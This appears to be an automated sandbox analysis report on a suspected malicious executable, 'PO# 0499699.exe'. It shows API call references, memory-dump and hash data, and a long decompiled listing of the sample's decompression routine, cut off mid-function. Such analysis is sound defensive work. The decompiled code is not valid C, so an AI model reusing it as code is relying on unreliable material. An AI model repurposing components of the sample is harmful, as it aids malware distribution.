Part of subcall function 00405C3F: CharPrevA.USER32(?,?,"C:\Users\user\Desktop\PO# 0499699.exe" ,C:\Users\user\AppData\Local\Temp\,00000000,004030A3,C:\Users\user\AppData\Local\Temp\,00000000,00403215), ref: 00405CB9

CreateDirectoryA.KERNELBASE(C:\Users\user\AppData\Local\Temp\,00000000,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,00403215), ref: 004030B8

Strings

1033, xrefs: 004030BF
C:\Users\user\AppData\Local\Temp\, xrefs: 00403098, 0040309D, 004030A3, 004030AF, 004030B7, 004030BE

Memory Dump Source

Source File: 00000000.00000002.653149213.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.653134628.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.653166466.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.653175210.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653298414.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653322956.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653364448.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: Char$Next$CreateDirectoryPrev
String ID: 1033$C:\Users\user\AppData\Local\Temp\
API String ID: 4115351271-517883005
Opcode ID: 6fc6148b77ece9d346d6d7cc43375dab10df03dac4f70bfb46dffa123947e942
Instruction ID: 14cf73edb083f9294524d0cb591bdba299ebaa8e37fda96f2dae1f3ab35ccfa6
Opcode Fuzzy Hash: 6fc6148b77ece9d346d6d7cc43375dab10df03dac4f70bfb46dffa123947e942
Instruction Fuzzy Hash: 95D0C92160BD3032D66136263D0AFDF155C8F5236EFA1447BF809B61CA5B6C6A8219FF

Uniqueness

Uniqueness Score: -1.00%

Function 004063DD, Relevance: 5.2, APIs: 4, Instructions: 236
COMMON

Download Yara Rule

C-Code - Quality: 99%

			E004063DD() {
				signed int _t530;
				void _t537;
				signed int _t538;
				signed int _t539;
				unsigned short _t569;
				signed int _t579;
				signed int _t607;
				void* _t627;
				signed int _t628;
				signed int _t635;
				signed int* _t643;
				void* _t644;

				L0:
				while(1) {
					L0:
					_t530 =  *(_t644 - 0x30);
					if(_t530 >= 4) {
					}
					 *(_t644 - 0x40) = 6;
					 *(_t644 - 0x7c) = 0x19;
					 *((intOrPtr*)(_t644 - 0x58)) = (_t530 << 7) +  *(_t644 - 4) + 0x360;
					while(1) {
						L145:
						 *(_t644 - 0x50) = 1;
						 *(_t644 - 0x48) =  *(_t644 - 0x40);
						while(1) {
							L149:
							if( *(_t644 - 0x48) <= 0) {
								goto L155;
							}
							L150:
							_t627 =  *(_t644 - 0x50) +  *(_t644 - 0x50);
							_t643 = _t627 +  *((intOrPtr*)(_t644 - 0x58));
							 *(_t644 - 0x54) = _t643;
							_t569 =  *_t643;
							_t635 = _t569 & 0x0000ffff;
							_t607 = ( *(_t644 - 0x10) >> 0xb) * _t635;
							if( *(_t644 - 0xc) >= _t607) {
								 *(_t644 - 0x10) =  *(_t644 - 0x10) - _t607;
								 *(_t644 - 0xc) =  *(_t644 - 0xc) - _t607;
								_t628 = _t627 + 1;
								 *_t643 = _t569 - (_t569 >> 5);
								 *(_t644 - 0x50) = _t628;
							} else {
								 *(_t644 - 0x10) = _t607;
								 *(_t644 - 0x50) =  *(_t644 - 0x50) << 1;
								 *_t643 = (0x800 - _t635 >> 5) + _t569;
							}
							if( *(_t644 - 0x10) >= 0x1000000) {
								L148:
								_t487 = _t644 - 0x48;
								 *_t487 =  *(_t644 - 0x48) - 1;
								L149:
								if( *(_t644 - 0x48) <= 0) {
									goto L155;
								}
								goto L150;
							} else {
								L154:
								L146:
								if( *(_t644 - 0x6c) == 0) {
									L169:
									 *(_t644 - 0x88) = 0x18;
									L170:
									_t579 = 0x22;
									memcpy( *(_t644 - 0x90), _t644 - 0x88, _t579 << 2);
									_t539 = 0;
									L172:
									return _t539;
								}
								L147:
								 *(_t644 - 0x10) =  *(_t644 - 0x10) << 8;
								 *(_t644 - 0x6c) =  *(_t644 - 0x6c) - 1;
								_t484 = _t644 - 0x70;
								 *_t484 =  &(( *(_t644 - 0x70))[1]);
								 *(_t644 - 0xc) =  *(_t644 - 0xc) << 0x00000008 |  *( *(_t644 - 0x70)) & 0x000000ff;
								goto L148;
							}
							L155:
							_t537 =  *(_t644 - 0x7c);
							 *((intOrPtr*)(_t644 - 0x44)) =  *(_t644 - 0x50) - (1 <<  *(_t644 - 0x40));
							while(1) {
								L140:
								 *(_t644 - 0x88) = _t537;
								while(1) {
									L1:
									_t538 =  *(_t644 - 0x88);
									if(_t538 > 0x1c) {
										break;
									}
									L2:
									switch( *((intOrPtr*)(_t538 * 4 +  &M0040684B))) {
										case 0:
											L3:
											if( *(_t644 - 0x6c) == 0) {
												goto L170;
											}
											L4:
											 *(_t644 - 0x6c) =  *(_t644 - 0x6c) - 1;
											 *(_t644 - 0x70) =  &(( *(_t644 - 0x70))[1]);
											_t538 =  *( *(_t644 - 0x70));
											if(_t538 > 0xe1) {
												goto L171;
											}
											L5:
											_t542 = _t538 & 0x000000ff;
											_push(0x2d);
											asm("cdq");
											_pop(_t581);
											_push(9);
											_pop(_t582);
											_t638 = _t542 / _t581;
											_t544 = _t542 % _t581 & 0x000000ff;
											asm("cdq");
											_t633 = _t544 % _t582 & 0x000000ff;
											 *(_t644 - 0x3c) = _t633;
											 *(_t644 - 0x1c) = (1 << _t638) - 1;
											 *((intOrPtr*)(_t644 - 0x18)) = (1 << _t544 / _t582) - 1;
											_t641 = (0x300 << _t633 + _t638) + 0x736;
											if(0x600 ==  *((intOrPtr*)(_t644 - 0x78))) {
												L10:
												if(_t641 == 0) {
													L12:
													 *(_t644 - 0x48) =  *(_t644 - 0x48) & 0x00000000;
													 *(_t644 - 0x40) =  *(_t644 - 0x40) & 0x00000000;
													goto L15;
												} else {
													goto L11;
												}
												do {
													L11:
													_t641 = _t641 - 1;
													 *((short*)( *(_t644 - 4) + _t641 * 2)) = 0x400;
												} while (_t641 != 0);
												goto L12;
											}
											L6:
											if( *(_t644 - 4) != 0) {
												GlobalFree( *(_t644 - 4));
											}
											_t538 = GlobalAlloc(0x40, 0x600); // executed
											 *(_t644 - 4) = _t538;
											if(_t538 == 0) {
												goto L171;
											} else {
												 *((intOrPtr*)(_t644 - 0x78)) = 0x600;
												goto L10;
											}
										case 1:
											L13:
											__eflags =  *(_t644 - 0x6c);
											if( *(_t644 - 0x6c) == 0) {
												L157:
												 *(_t644 - 0x88) = 1;
												goto L170;
											}
											L14:
											 *(_t644 - 0x6c) =  *(_t644 - 0x6c) - 1;
											 *(_t644 - 0x40) =  *(_t644 - 0x40) | ( *( *(_t644 - 0x70)) & 0x000000ff) <<  *(_t644 - 0x48) << 0x00000003;
											 *(_t644 - 0x70) =  &(( *(_t644 - 0x70))[1]);
											_t45 = _t644 - 0x48;
											 *_t45 =  *(_t644 - 0x48) + 1;
											__eflags =  *_t45;
											L15:
											if( *(_t644 - 0x48) < 4) {
												goto L13;
											}
											L16:
											_t550 =  *(_t644 - 0x40);
											if(_t550 ==  *(_t644 - 0x74)) {
												L20:
												 *(_t644 - 0x48) = 5;
												 *( *(_t644 - 8) +  *(_t644 - 0x74) - 1) =  *( *(_t644 - 8) +  *(_t644 - 0x74) - 1) & 0x00000000;
												goto L23;
											}
											L17:
											 *(_t644 - 0x74) = _t550;
											if( *(_t644 - 8) != 0) {
												GlobalFree( *(_t644 - 8)); // executed
											}
											_t538 = GlobalAlloc(0x40,  *(_t644 - 0x40)); // executed
											 *(_t644 - 8) = _t538;
											if(_t538 == 0) {
												goto L171;
											} else {
												goto L20;
											}
										case 2:
											L24:
											_t557 =  *(_t644 - 0x60) &  *(_t644 - 0x1c);
											 *(_t644 - 0x84) = 6;
											 *(_t644 - 0x4c) = _t557;
											_t642 =  *(_t644 - 4) + (( *(_t644 - 0x38) << 4) + _t557) * 2;
											goto L132;
										case 3:
											L21:
											__eflags =  *(_t644 - 0x6c);
											if( *(_t644 - 0x6c) == 0) {
												L158:
												 *(_t644 - 0x88) = 3;
												goto L170;
											}
											L22:
											 *(_t644 - 0x6c) =  *(_t644 - 0x6c) - 1;
											_t67 = _t644 - 0x70;
											 *_t67 =  &(( *(_t644 - 0x70))[1]);
											__eflags =  *_t67;
											 *(_t644 - 0xc) =  *(_t644 - 0xc) << 0x00000008 |  *( *(_t644 - 0x70)) & 0x000000ff;
											L23:
											 *(_t644 - 0x48) =  *(_t644 - 0x48) - 1;
											if( *(_t644 - 0x48) != 0) {
												goto L21;
											}
											goto L24;
										case 4:
											L133:
											_t559 =  *_t642;
											_t626 = _t559 & 0x0000ffff;
											_t596 = ( *(_t644 - 0x10) >> 0xb) * _t626;
											if( *(_t644 - 0xc) >= _t596) {
												 *(_t644 - 0x10) =  *(_t644 - 0x10) - _t596;
												 *(_t644 - 0xc) =  *(_t644 - 0xc) - _t596;
												 *(_t644 - 0x40) = 1;
												_t560 = _t559 - (_t559 >> 5);
												__eflags = _t560;
												 *_t642 = _t560;
											} else {
												 *(_t644 - 0x10) = _t596;
												 *(_t644 - 0x40) =  *(_t644 - 0x40) & 0x00000000;
												 *_t642 = (0x800 - _t626 >> 5) + _t559;
											}
											if( *(_t644 - 0x10) >= 0x1000000) {
												goto L139;
											} else {
												goto L137;
											}
										case 5:
											L137:
											if( *(_t644 - 0x6c) == 0) {
												L168:
												 *(_t644 - 0x88) = 5;
												goto L170;
											}
											L138:
											 *(_t644 - 0x10) =  *(_t644 - 0x10) << 8;
											 *(_t644 - 0x6c) =  *(_t644 - 0x6c) - 1;
											 *(_t644 - 0x70) =  &(( *(_t644 - 0x70))[1]);
											 *(_t644 - 0xc) =  *(_t644 - 0xc) << 0x00000008 |  *( *(_t644 - 0x70)) & 0x000000ff;
											L139:
											_t537 =  *(_t644 - 0x84);
											L140:
											 *(_t644 - 0x88) = _t537;
											goto L1;
										case 6:
											L25:
											__edx = 0;
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												L36:
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x34) = 1;
												 *(__ebp - 0x84) = 7;
												__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
												goto L132;
											}
											L26:
											__eax =  *(__ebp - 0x5c) & 0x000000ff;
											__esi =  *(__ebp - 0x60);
											__cl = 8;
											__cl = 8 -  *(__ebp - 0x3c);
											__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
											__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
											__ecx =  *(__ebp - 0x3c);
											__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
											__ecx =  *(__ebp - 4);
											(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
											__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
											__eflags =  *(__ebp - 0x38) - 4;
											__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
											 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
											if( *(__ebp - 0x38) >= 4) {
												__eflags =  *(__ebp - 0x38) - 0xa;
												if( *(__ebp - 0x38) >= 0xa) {
													_t98 = __ebp - 0x38;
													 *_t98 =  *(__ebp - 0x38) - 6;
													__eflags =  *_t98;
												} else {
													 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
												}
											} else {
												 *(__ebp - 0x38) = 0;
											}
											__eflags =  *(__ebp - 0x34) - __edx;
											if( *(__ebp - 0x34) == __edx) {
												L35:
												__ebx = 0;
												__ebx = 1;
												goto L61;
											} else {
												L32:
												__eax =  *(__ebp - 0x14);
												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
												__eflags = __eax -  *(__ebp - 0x74);
												if(__eax >=  *(__ebp - 0x74)) {
													__eax = __eax +  *(__ebp - 0x74);
													__eflags = __eax;
												}
												__ecx =  *(__ebp - 8);
												__ebx = 0;
												__ebx = 1;
												__al =  *((intOrPtr*)(__eax + __ecx));
												 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
												goto L41;
											}
										case 7:
											L66:
											__eflags =  *(__ebp - 0x40) - 1;
											if( *(__ebp - 0x40) != 1) {
												L68:
												__eax =  *(__ebp - 0x24);
												 *(__ebp - 0x80) = 0x16;
												 *(__ebp - 0x20) =  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x28);
												 *(__ebp - 0x24) =  *(__ebp - 0x28);
												__eax =  *(__ebp - 0x2c);
												 *(__ebp - 0x28) =  *(__ebp - 0x2c);
												__eax = 0;
												__eflags =  *(__ebp - 0x38) - 7;
												0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
												__al = __al & 0x000000fd;
												__eax = (__eflags >= 0) - 1 + 0xa;
												 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xa;
												__eax =  *(__ebp - 4);
												__eax =  *(__ebp - 4) + 0x664;
												__eflags = __eax;
												 *(__ebp - 0x58) = __eax;
												goto L69;
											}
											L67:
											__eax =  *(__ebp - 4);
											__ecx =  *(__ebp - 0x38);
											 *(__ebp - 0x84) = 8;
											__esi =  *(__ebp - 4) + 0x198 +  *(__ebp - 0x38) * 2;
											goto L132;
										case 8:
											L70:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x84) = 0xa;
												__esi =  *(__ebp - 4) + 0x1b0 +  *(__ebp - 0x38) * 2;
											} else {
												__eax =  *(__ebp - 0x38);
												__ecx =  *(__ebp - 4);
												__eax =  *(__ebp - 0x38) + 0xf;
												 *(__ebp - 0x84) = 9;
												 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
												__esi =  *(__ebp - 4) + (( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c)) * 2;
											}
											goto L132;
										case 9:
											L73:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												goto L90;
											}
											L74:
											__eflags =  *(__ebp - 0x60);
											if( *(__ebp - 0x60) == 0) {
												goto L171;
											}
											L75:
											__eax = 0;
											__eflags =  *(__ebp - 0x38) - 7;
											_t259 =  *(__ebp - 0x38) - 7 >= 0;
											__eflags = _t259;
											0 | _t259 = _t259 + _t259 + 9;
											 *(__ebp - 0x38) = _t259 + _t259 + 9;
											goto L76;
										case 0xa:
											L82:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												L84:
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x84) = 0xb;
												__esi =  *(__ebp - 4) + 0x1c8 +  *(__ebp - 0x38) * 2;
												goto L132;
											}
											L83:
											__eax =  *(__ebp - 0x28);
											goto L89;
										case 0xb:
											L85:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__ecx =  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x20);
												 *(__ebp - 0x20) =  *(__ebp - 0x24);
											} else {
												__eax =  *(__ebp - 0x24);
											}
											__ecx =  *(__ebp - 0x28);
											 *(__ebp - 0x24) =  *(__ebp - 0x28);
											L89:
											__ecx =  *(__ebp - 0x2c);
											 *(__ebp - 0x2c) = __eax;
											 *(__ebp - 0x28) =  *(__ebp - 0x2c);
											L90:
											__eax =  *(__ebp - 4);
											 *(__ebp - 0x80) = 0x15;
											__eax =  *(__ebp - 4) + 0xa68;
											 *(__ebp - 0x58) =  *(__ebp - 4) + 0xa68;
											goto L69;
										case 0xc:
											L99:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												L164:
												 *(__ebp - 0x88) = 0xc;
												goto L170;
											}
											L100:
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t334 = __ebp - 0x70;
											 *_t334 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t334;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											__eax =  *(__ebp - 0x2c);
											goto L101;
										case 0xd:
											L37:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												L159:
												 *(__ebp - 0x88) = 0xd;
												goto L170;
											}
											L38:
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t122 = __ebp - 0x70;
											 *_t122 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t122;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											L39:
											__eax =  *(__ebp - 0x40);
											__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
											if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
												goto L48;
											}
											L40:
											__eflags = __ebx - 0x100;
											if(__ebx >= 0x100) {
												goto L54;
											}
											L41:
											__eax =  *(__ebp - 0x5b) & 0x000000ff;
											 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
											__ecx =  *(__ebp - 0x58);
											__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
											 *(__ebp - 0x48) = __eax;
											__eax = __eax + 1;
											__eax = __eax << 8;
											__eax = __eax + __ebx;
											__esi =  *(__ebp - 0x58) + __eax * 2;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
											__ax =  *__esi;
											 *(__ebp - 0x54) = __esi;
											__edx = __ax & 0x0000ffff;
											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
											__eflags =  *(__ebp - 0xc) - __ecx;
											if( *(__ebp - 0xc) >= __ecx) {
												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
												__cx = __ax;
												 *(__ebp - 0x40) = 1;
												__cx = __ax >> 5;
												__eflags = __eax;
												__ebx = __ebx + __ebx + 1;
												 *__esi = __ax;
											} else {
												 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
												 *(__ebp - 0x10) = __ecx;
												0x800 = 0x800 - __edx;
												0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
												__ebx = __ebx + __ebx;
												 *__esi = __cx;
											}
											__eflags =  *(__ebp - 0x10) - 0x1000000;
											 *(__ebp - 0x44) = __ebx;
											if( *(__ebp - 0x10) >= 0x1000000) {
												goto L39;
											} else {
												L45:
												goto L37;
											}
										case 0xe:
											L46:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												L160:
												 *(__ebp - 0x88) = 0xe;
												goto L170;
											}
											L47:
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t156 = __ebp - 0x70;
											 *_t156 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t156;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											while(1) {
												L48:
												__eflags = __ebx - 0x100;
												if(__ebx >= 0x100) {
													break;
												}
												L49:
												__eax =  *(__ebp - 0x58);
												__edx = __ebx + __ebx;
												__ecx =  *(__ebp - 0x10);
												__esi = __edx + __eax;
												__ecx =  *(__ebp - 0x10) >> 0xb;
												__ax =  *__esi;
												 *(__ebp - 0x54) = __esi;
												__edi = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													_t170 = __edx + 1; // 0x1
													__ebx = _t170;
													__cx = __ax >> 5;
													__eflags = __eax;
													 *__esi = __ax;
												} else {
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edi;
													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
													__ebx = __ebx + __ebx;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0x10) >= 0x1000000) {
													continue;
												} else {
													L53:
													goto L46;
												}
											}
											L54:
											_t173 = __ebp - 0x34;
											 *_t173 =  *(__ebp - 0x34) & 0x00000000;
											__eflags =  *_t173;
											goto L55;
										case 0xf:
											L58:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												L161:
												 *(__ebp - 0x88) = 0xf;
												goto L170;
											}
											L59:
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t203 = __ebp - 0x70;
											 *_t203 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t203;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											L60:
											__eflags = __ebx - 0x100;
											if(__ebx >= 0x100) {
												L55:
												__al =  *(__ebp - 0x44);
												 *(__ebp - 0x5c) =  *(__ebp - 0x44);
												goto L56;
											}
											L61:
											__eax =  *(__ebp - 0x58);
											__edx = __ebx + __ebx;
											__ecx =  *(__ebp - 0x10);
											__esi = __edx + __eax;
											__ecx =  *(__ebp - 0x10) >> 0xb;
											__ax =  *__esi;
											 *(__ebp - 0x54) = __esi;
											__edi = __ax & 0x0000ffff;
											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
											__eflags =  *(__ebp - 0xc) - __ecx;
											if( *(__ebp - 0xc) >= __ecx) {
												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
												__cx = __ax;
												_t217 = __edx + 1; // 0x1
												__ebx = _t217;
												__cx = __ax >> 5;
												__eflags = __eax;
												 *__esi = __ax;
											} else {
												 *(__ebp - 0x10) = __ecx;
												0x800 = 0x800 - __edi;
												0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
												__ebx = __ebx + __ebx;
												 *__esi = __cx;
											}
											__eflags =  *(__ebp - 0x10) - 0x1000000;
											 *(__ebp - 0x44) = __ebx;
											if( *(__ebp - 0x10) >= 0x1000000) {
												goto L60;
											} else {
												L65:
												goto L58;
											}
										case 0x10:
											L109:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												L165:
												 *(__ebp - 0x88) = 0x10;
												goto L170;
											}
											L110:
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t365 = __ebp - 0x70;
											 *_t365 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t365;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											goto L111;
										case 0x11:
											L69:
											__esi =  *(__ebp - 0x58);
											 *(__ebp - 0x84) = 0x12;
											goto L132;
										case 0x12:
											L128:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												L131:
												__eax =  *(__ebp - 0x58);
												 *(__ebp - 0x84) = 0x13;
												__esi =  *(__ebp - 0x58) + 2;
												L132:
												 *(_t644 - 0x54) = _t642;
												goto L133;
											}
											L129:
											__eax =  *(__ebp - 0x4c);
											 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
											__ecx =  *(__ebp - 0x58);
											__eax =  *(__ebp - 0x4c) << 4;
											__eflags = __eax;
											__eax =  *(__ebp - 0x58) + __eax + 4;
											goto L130;
										case 0x13:
											L141:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												L143:
												_t469 = __ebp - 0x58;
												 *_t469 =  *(__ebp - 0x58) + 0x204;
												__eflags =  *_t469;
												 *(__ebp - 0x30) = 0x10;
												 *(__ebp - 0x40) = 8;
												L144:
												 *((intOrPtr*)(__ebp - 0x7c)) = 0x14;
												L145:
												 *(_t644 - 0x50) = 1;
												 *(_t644 - 0x48) =  *(_t644 - 0x40);
												goto L149;
											}
											L142:
											__eax =  *(__ebp - 0x4c);
											__ecx =  *(__ebp - 0x58);
											__eax =  *(__ebp - 0x4c) << 4;
											 *(__ebp - 0x30) = 8;
											__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
											L130:
											 *(__ebp - 0x58) = __eax;
											 *(__ebp - 0x40) = 3;
											goto L144;
										case 0x14:
											L156:
											 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
											__eax =  *(__ebp - 0x80);
											while(1) {
												L140:
												 *(_t644 - 0x88) = _t537;
												goto L1;
											}
										case 0x15:
											L91:
											__eax = 0;
											__eflags =  *(__ebp - 0x38) - 7;
											0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
											__al = __al & 0x000000fd;
											__eax = (__eflags >= 0) - 1 + 0xb;
											 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
											goto L120;
										case 0x16:
											goto L0;
										case 0x17:
											while(1) {
												L145:
												 *(_t644 - 0x50) = 1;
												 *(_t644 - 0x48) =  *(_t644 - 0x40);
												goto L149;
											}
										case 0x18:
											goto L146;
										case 0x19:
											L94:
											__eflags = __ebx - 4;
											if(__ebx < 4) {
												L98:
												 *(__ebp - 0x2c) = __ebx;
												L119:
												_t393 = __ebp - 0x2c;
												 *_t393 =  *(__ebp - 0x2c) + 1;
												__eflags =  *_t393;
												L120:
												__eax =  *(__ebp - 0x2c);
												__eflags = __eax;
												if(__eax == 0) {
													L166:
													 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
													goto L170;
												}
												L121:
												__eflags = __eax -  *(__ebp - 0x60);
												if(__eax >  *(__ebp - 0x60)) {
													goto L171;
												}
												L122:
												 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
												__eax =  *(__ebp - 0x30);
												_t400 = __ebp - 0x60;
												 *_t400 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
												__eflags =  *_t400;
												goto L123;
											}
											L95:
											__ecx = __ebx;
											__eax = __ebx;
											__ecx = __ebx >> 1;
											__eax = __ebx & 0x00000001;
											__ecx = (__ebx >> 1) - 1;
											__al = __al | 0x00000002;
											__eax = (__ebx & 0x00000001) << __cl;
											__eflags = __ebx - 0xe;
											 *(__ebp - 0x2c) = __eax;
											if(__ebx >= 0xe) {
												L97:
												__ebx = 0;
												 *(__ebp - 0x48) = __ecx;
												L102:
												__eflags =  *(__ebp - 0x48);
												if( *(__ebp - 0x48) <= 0) {
													L107:
													__eax = __eax + __ebx;
													 *(__ebp - 0x40) = 4;
													 *(__ebp - 0x2c) = __eax;
													__eax =  *(__ebp - 4);
													__eax =  *(__ebp - 4) + 0x644;
													__eflags = __eax;
													L108:
													__ebx = 0;
													 *(__ebp - 0x58) = __eax;
